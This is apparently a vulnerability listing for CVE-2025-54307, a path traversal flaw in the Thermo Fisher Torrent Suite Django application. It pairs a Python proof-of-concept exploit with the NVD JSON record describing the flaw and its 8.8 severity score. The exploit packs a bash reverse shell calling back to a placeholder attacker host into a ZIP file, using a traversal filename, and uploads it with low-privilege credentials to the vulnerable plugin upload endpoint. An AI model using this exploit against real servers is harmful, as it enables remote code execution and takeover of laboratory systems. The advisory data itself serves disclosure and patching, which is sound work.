CVE-2025-54307

#!/usr/bin/env python3 """ CVE-2025-54307 PoC - Thermo Fisher Torrent Suite Path Traversal RCE Note: For authorized security testing only """ import zipfile import io import requests from requests.auth import HTTPBasicAuth TARGET = "https://target-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Create malicious ZIP with path traversal payload malicious_file = b'#!/bin/bash\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1' zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Path traversal to write to arbitrary location traversal_name = "../../../../tmp/rev_shell.sh" zf.writestr(traversal_name, malicious_file) zip_buffer.seek(0) # Upload via vulnerable endpoint upload_url = f"{TARGET}/configure/plugins/plugin/upload/zip/" files = {'file': ('exploit.zip', zip_buffer, 'application/zip')} data = {'name': '../../../../tmp/rev_shell.sh'} try: response = requests.post( upload_url, files=files, data=data, auth=HTTPBasicAuth(USERNAME, PASSWORD), verify=False, timeout=30 ) print(f"Upload Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2025-54307", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:59.163", "lastModified": "2025-12-16T18:46:24.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the Thermo Fisher Torrent Suite Django application 5.18.1. The /configure/plugins/plugin/upload/zip/ and /configure/newupdates/offline/bundle/upload/ endpoints allow low-privilege users to upload ZIP files to the server. The plupload_file_upload function handles these file uploads and constructs the destination file path by using either the name parameter or the uploaded filename, neither of which is properly sanitized. The file extension is extracted by splitting the filename, and a format string is used to construct the final file path, leaving the destination path vulnerable to path traversal. An authenticated attacker with network connectivity can write arbitrary files to the server, enabling remote code execution after overwriting an executable file. An example is the pdflatex executable, which is executed through subprocess.Popen in the write_report_pdf function after requests to a /report/latex/(\\d+).pdf endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thermofisher:torrent_suite_software:5.18.1:*:*:*:*:*:*:*", "matchCriteriaId": "C9D40EC2-7E68-4166-9ECF-431E4294CB97"}]}]}], "references": [{"url": "https://assets.thermofisher.com/TFS-Assets/LSG/manuals/MAN0026163-Torrent-Suite-5.18-UG.pdf", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://documents.thermofisher.com/TFS-Assets/CORP/Product-Guides/Ion_OneTouch_2_and_Torrent_Suite_Software.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.thermofisher.com/us/en/home/life-science/sequencing/next-generation-sequencing/ion-torrent-next-generation-sequencing-workflow/ion-torrent-next-generation-sequencing-data-analysis-workflow/ion-torrent-suite-software.html", "source": "[email protected]", "tags": ["Product"]}]}}